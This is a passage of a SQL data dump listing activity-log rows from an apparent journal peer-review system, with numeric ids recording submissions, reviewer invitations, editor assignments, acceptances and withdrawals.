00:00:00','Editor has Invited Reviewer',7462,'Editor',222),(66947,'0000-00-00 00:00:00','Editor has Invited Reviewer',7462,'Editor',222),(66948,'0000-00-00 00:00:00','Editor has Invited Reviewer',7462,'Editor',222),(66949,'0000-00-00 00:00:00','Editor has Invited Reviewer',7462,'Editor',222),(66969,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7520,'Author',8774),(66970,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7504,'Publisher',48),(66976,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7511,'Publisher',48),(66977,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7345,'Editor',633),(66980,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7511,'Publisher',48),(66981,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7511,'Publisher',48),(66986,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7516,'Publisher',984),(66988,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7504,'Publisher',48),(66989,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7504,'Publisher',48),(66990,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7504,'Publisher',48),(67030,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7494,'Publisher',248),(67031,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7494,'Publisher',248),(67032,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7494,'Publisher',248),(67098,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7493,'Editor',194),(67102,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7493,'Editor',194),(67103,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7450,'Editor',194),(67104,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7450,'Editor',194),(67106,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7445,'Editor',194),(67109,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7445,'Editor',194),(67110,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7445,'Editor',194),(67117,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7493,'Publisher',48),(67119,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7450,'Publisher',48),(67125,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7445,'Publisher',48),(67137,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7396,'Editor',359),(67138,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7396,'Editor',359),(67139,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7396,'Publisher',248),(67148,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7432,'Editor',634),(67155,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7519,'Publisher',48),(67169,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7519,'Publisher',48),(67170,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7519,'Publisher',48),(67171,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7519,'Publisher',48),(67174,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7519,'Publisher',48),(67176,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7519,'Publisher',48),(67198,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',7516,'Publisher',984),(67225,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7537,'Author',8792),(67227,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7518,'Publisher',85),(67228,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7517,'Publisher',85),(67230,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(67231,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(67232,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(67233,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(67234,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(67235,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(67236,'0000-00-00 00:00:00','Publisher : Notified Author',7030,'Publisher',85),(67237,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6976,'Publisher',274),(67238,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6976,'Publisher',274),(67243,'0000-00-00 00:00:00','Author sent Email',7189,'Author',8459),(67246,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7518,'Editor',1291),(67247,'0000-00-00 00:00:00','Editor has Invited Reviewer',7518,'Editor',1291),(67248,'0000-00-00 00:00:00','Editor has Invited Reviewer',7518,'Editor',1291),(67249,'0000-00-00 00:00:00','Editor has Invited Reviewer',7518,'Editor',1291),(67267,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7544,'Publisher',645),(67269,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7546,'Publisher',645),(67271,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67272,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67273,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67274,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67275,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67276,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67279,'0000-00-00 00:00:00','Reviewer has submitted comments',7493,'Reviewer',11689),(67282,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6849,'Publisher',984),(67318,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7520,'Publisher',988),(67322,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67323,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67324,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67325,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67326,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67327,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67328,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67329,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67330,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67331,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67332,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67333,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67345,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7494,'Publisher',248),(67346,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7494,'Publisher',248),(67347,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7494,'Publisher',248),(67348,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7494,'Publisher',248),(67349,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7494,'Publisher',248),(67350,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7494,'Publisher',248),(67351,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7494,'Publisher',248),(67352,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7494,'Publisher',248),(67353,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7494,'Publisher',248),(67354,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7494,'Publisher',248),(67358,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7537,'Publisher',84),(67360,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7517,'Publisher',85),(67361,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7517,'Publisher',85),(67362,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7517,'Publisher',85),(67363,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7517,'Publisher',85),(67364,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7517,'Publisher',85),(67365,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7517,'Publisher',85),(67366,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7517,'Publisher',85),(67367,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7517,'Publisher',85),(67368,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7517,'Publisher',85),(67369,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7517,'Publisher',85),(67370,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7517,'Publisher',85),(67371,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7517,'Publisher',85),(67372,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7517,'Publisher',85),(67376,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7555,'Author',8811),(67377,'0000-00-00 00:00:00','Publisher : Notified Author',6851,'Publisher',85),(67378,'0000-00-00 00:00:00','Publisher : Notified Author',7030,'Publisher',85),(67386,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7556,'Author',8812),(67387,'0000-00-00 00:00:00','Reviewer has submitted comments',7518,'Reviewer',10684),(67388,'0000-00-00 00:00:00','Reviewer has submitted comments',6964,'Reviewer',10684),(67389,'0000-00-00 00:00:00','Reviewer has submitted comments',6800,'Reviewer',10684),(67390,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7305,'Publisher',48),(67391,'0000-00-00 00:00:00','Reviewer has submitted comments',7305,'Reviewer',11689),(67392,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7305,'Editor',194),(67393,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7305,'Publisher',48),(67394,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7557,'Author',8813),(67395,'0000-00-00 00:00:00','Manuscript has been Revised',7332,'Author',8605),(67396,'0000-00-00 00:00:00','Manuscript has been Revised',7095,'Author',8363),(67399,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7559,'Author',8815),(67407,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7519,'Editor',194),(67408,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7519,'Editor',194),(67410,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7519,'Publisher',48),(67416,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7494,'Publisher',248),(67417,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7494,'Publisher',248),(67426,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(67430,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7186,'Publisher',988),(67431,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7186,'Publisher',988),(67432,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7186,'Publisher',988),(67433,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(67434,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(67435,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(67436,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(67437,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(67438,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(67439,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(67440,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(67441,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7279,'Publisher',85),(67442,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7279,'Publisher',85),(67450,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(67451,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(67452,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(67453,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(67475,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7110,'Publisher',75),(67478,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7568,'Author',8820),(67479,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7569,'Publisher',984),(67481,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7570,'Publisher',984),(67483,'0000-00-00 00:00:00','Reviewer has submitted comments',7519,'Reviewer',11689),(67509,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7574,'Publisher',376),(67510,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67511,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67512,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67513,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67514,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67515,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67516,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67517,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67518,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67519,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67520,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67521,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67522,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67523,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67524,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67525,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67526,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67527,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67528,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67529,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67530,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67534,'0000-00-00 00:00:00','Manuscript Updated',7115,'Publisher',75),(67535,'0000-00-00 00:00:00','Editor has been Editor Decision Rejected article',7114,'Editor',161),(67537,'0000-00-00 00:00:00','Publisher has been Rejected Articles  article',7114,'Publisher',75),(67558,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7517,'Editor',1393),(67559,'0000-00-00 00:00:00','Editor has Invited Reviewer',7517,'Editor',1393),(67560,'0000-00-00 00:00:00','Editor has Invited Reviewer',7517,'Editor',1393),(67561,'0000-00-00 00:00:00','Editor has Invited Reviewer',7517,'Editor',1393),(67562,'0000-00-00 00:00:00','Editor has Invited Reviewer',7517,'Editor',1393),(67563,'0000-00-00 00:00:00','Editor has Invited Reviewer',7517,'Editor',1393),(67564,'0000-00-00 00:00:00','Editor has Invited Reviewer',7517,'Editor',1393),(67565,'0000-00-00 00:00:00','Editor has Invited Reviewer',7517,'Editor',1393),(67566,'0000-00-00 00:00:00','Editor has Invited Reviewer',7517,'Editor',1393),(67567,'0000-00-00 00:00:00','Editor has Invited Reviewer',7517,'Editor',1393),(67568,'0000-00-00 00:00:00','Editor has Invited Reviewer',7517,'Editor',1393),(67569,'0000-00-00 00:00:00','Editor has Invited Reviewer',7517,'Editor',1393),(67592,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7546,'Publisher',645),(67593,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7544,'Publisher',645),(67619,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7590,'Author',8835),(67632,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7592,'Author',8837),(67635,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7395,'Publisher',48),(67638,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7494,'Publisher',248),(67639,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67640,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67641,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67642,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67643,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67644,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67645,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67646,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67647,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67648,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67649,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67650,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67651,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67652,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67653,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67654,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(67655,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6741,'Publisher',984),(67656,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6741,'Publisher',984),(67658,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7132,'Editor',161),(67671,'0000-00-00 00:00:00','Manuscript Submitted by Author',7594,'Author',3375),(67672,'0000-00-00 00:00:00','Reviewer has submitted comments',7517,'Reviewer',9531),(67676,'0000-00-00 00:00:00','Reviewer has submitted comments',7300,'Reviewer',11689),(67677,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7300,'Publisher',48),(67685,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7132,'Publisher',75),(67687,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7132,'Publisher',75),(67739,'0000-00-00 00:00:00','Author sent Email',7189,'Author',8459),(67742,'0000-00-00 00:00:00','Reviewer has submitted comments',6800,'Reviewer',12519),(67799,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7617,'Author',8860),(67800,'0000-00-00 00:00:00','Author sent Email',7204,'Author',8477),(67888,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7518,'Publisher',85),(67889,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7517,'Publisher',85),(67890,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7477,'Publisher',85),(67891,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7627,'Publisher',48),(67903,'0000-00-00 00:00:00','Author sent Email',7110,'Author',8379),(67908,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7257,'Publisher',376),(67909,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7257,'Publisher',376),(67910,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7257,'Publisher',376),(67911,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7257,'Publisher',376),(67913,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7458,'Editor',1452),(67917,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7629,'Publisher',85),(67918,'0000-00-00 00:00:00','Publisher : Notified Editor',6800,'Publisher',85),(67919,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6800,'Editor',1393),(67920,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',6800,'Editor',1393),(67921,'0000-00-00 00:00:00','Publisher : Notified Author',6800,'Publisher',85),(67922,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7555,'Publisher',274),(67923,'0000-00-00 00:00:00','Reviewer has submitted comments',7348,'Reviewer',11689),(67924,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7472,'Publisher',274),(67931,'0000-00-00 00:00:00','Reviewer has submitted comments',7518,'Reviewer',15826),(67938,'0000-00-00 00:00:00','Reviewer has submitted comments',7472,'Reviewer',12022),(67979,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7635,'Author',8875),(67980,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6854,'Publisher',984),(67993,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7494,'Publisher',248),(67994,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7494,'Publisher',248),(67995,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7494,'Publisher',248),(67996,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7494,'Publisher',248),(67997,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7494,'Publisher',248),(68017,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7348,'Publisher',48),(68018,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7426,'Publisher',48),(68067,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7557,'Publisher',75),(68068,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7559,'Publisher',75),(68069,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',5607,'Publisher',75),(68070,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6316,'Publisher',75),(68071,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6375,'Publisher',75),(68072,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6502,'Publisher',75),(68073,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6710,'Publisher',75),(68106,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6741,'Publisher',984),(68107,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7556,'Publisher',248),(68108,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7556,'Publisher',248),(68109,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7556,'Publisher',248),(68110,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7556,'Publisher',248),(68111,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7556,'Publisher',248),(68112,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7556,'Publisher',248),(68113,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7556,'Publisher',248),(68114,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7556,'Publisher',248),(68115,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7556,'Publisher',248),(68116,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7556,'Publisher',248),(68117,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7556,'Publisher',248),(68134,'0000-00-00 00:00:00','Reviewer has submitted comments',7080,'Reviewer',11689),(68137,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7080,'Publisher',48),(68156,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7574,'Publisher',376),(68157,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7568,'Publisher',376),(68159,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7592,'Publisher',274),(68164,'0000-00-00 00:00:00','Author sent Email',7459,'Author',8718),(68165,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7649,'Publisher',48),(68205,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7594,'Publisher',48),(68208,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7557,'Editor',160),(68209,'0000-00-00 00:00:00','Editor has Invited Reviewer',7557,'Editor',160),(68210,'0000-00-00 00:00:00','Editor has Invited Reviewer',7557,'Editor',160),(68211,'0000-00-00 00:00:00','Editor has Invited Reviewer',7557,'Editor',160),(68212,'0000-00-00 00:00:00','Editor has Invited Reviewer',7557,'Editor',160),(68213,'0000-00-00 00:00:00','Editor has Invited Reviewer',7557,'Editor',160),(68215,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7449,'Editor',194),(68216,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7449,'Editor',194),(68217,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7449,'Publisher',48),(68218,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7449,'Editor',194),(68219,'0000-00-00 00:00:00','Reviewer has submitted comments',7319,'Reviewer',11689),(68220,'0000-00-00 00:00:00','Reviewer has updated comments',7319,'Reviewer',11689),(68221,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7319,'Editor',194),(68222,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7319,'Editor',194),(68223,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7319,'Publisher',48),(68224,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7311,'Publisher',48),(68225,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7311,'Editor',194),(68226,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7311,'Publisher',48),(68227,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7662,'Author',8888),(68228,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7663,'Author',8889),(68229,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7664,'Author',8890),(68297,'0000-00-00 00:00:00','Manuscript Submitted by Author',7666,'Author',8061),(68299,'0000-00-00 00:00:00','Manuscript has been Revised',6800,'Author',8061),(68300,'0000-00-00 00:00:00','Publisher : Notified Editor',6800,'Publisher',85),(68317,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7627,'Publisher',48),(68424,'0000-00-00 00:00:00','Reviewer has submitted comments',7311,'Reviewer',11689),(68460,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7669,'Publisher',85),(68481,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7649,'Publisher',48),(68484,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7662,'Publisher',48),(68492,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7677,'Author',8899),(68493,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7678,'Author',8900),(68578,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7663,'Publisher',48),(68579,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7663,'Publisher',48),(68580,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7663,'Publisher',48),(68581,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7662,'Publisher',48),(68582,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7662,'Publisher',48),(68583,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7662,'Publisher',48),(68584,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7662,'Publisher',48),(68585,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7662,'Publisher',48),(68586,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7649,'Publisher',48),(68587,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7627,'Publisher',48),(68588,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7594,'Publisher',48),(68589,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7594,'Publisher',48),(68590,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7594,'Publisher',48),(68591,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7594,'Publisher',48),(68592,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7680,'Author',8903),(68593,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7590,'Publisher',248),(68599,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',7487,'Publisher',248),(68709,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7617,'Publisher',75),(68710,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7635,'Publisher',75),(68711,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7559,'Publisher',75),(68712,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7559,'Publisher',75),(68713,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7559,'Publisher',75),(68714,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7559,'Publisher',75),(68715,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7559,'Publisher',75),(68720,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7664,'Publisher',645),(68721,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7150,'Publisher',645),(68722,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7150,'Publisher',645),(68723,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7432,'Editor',634),(68724,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7544,'Editor',634),(68725,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7546,'Editor',634),(68726,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7664,'Editor',634),(68727,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7135,'Editor',634),(68728,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7544,'Editor',634),(68729,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7135,'Editor',634),(68730,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7135,'Editor',634),(68731,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7544,'Editor',634),(68732,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7546,'Editor',634),(68733,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7664,'Editor',634),(68736,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7345,'Editor',633),(68737,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7163,'Publisher',75),(68738,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7338,'Editor',633),(68739,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7334,'Editor',633),(68740,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted 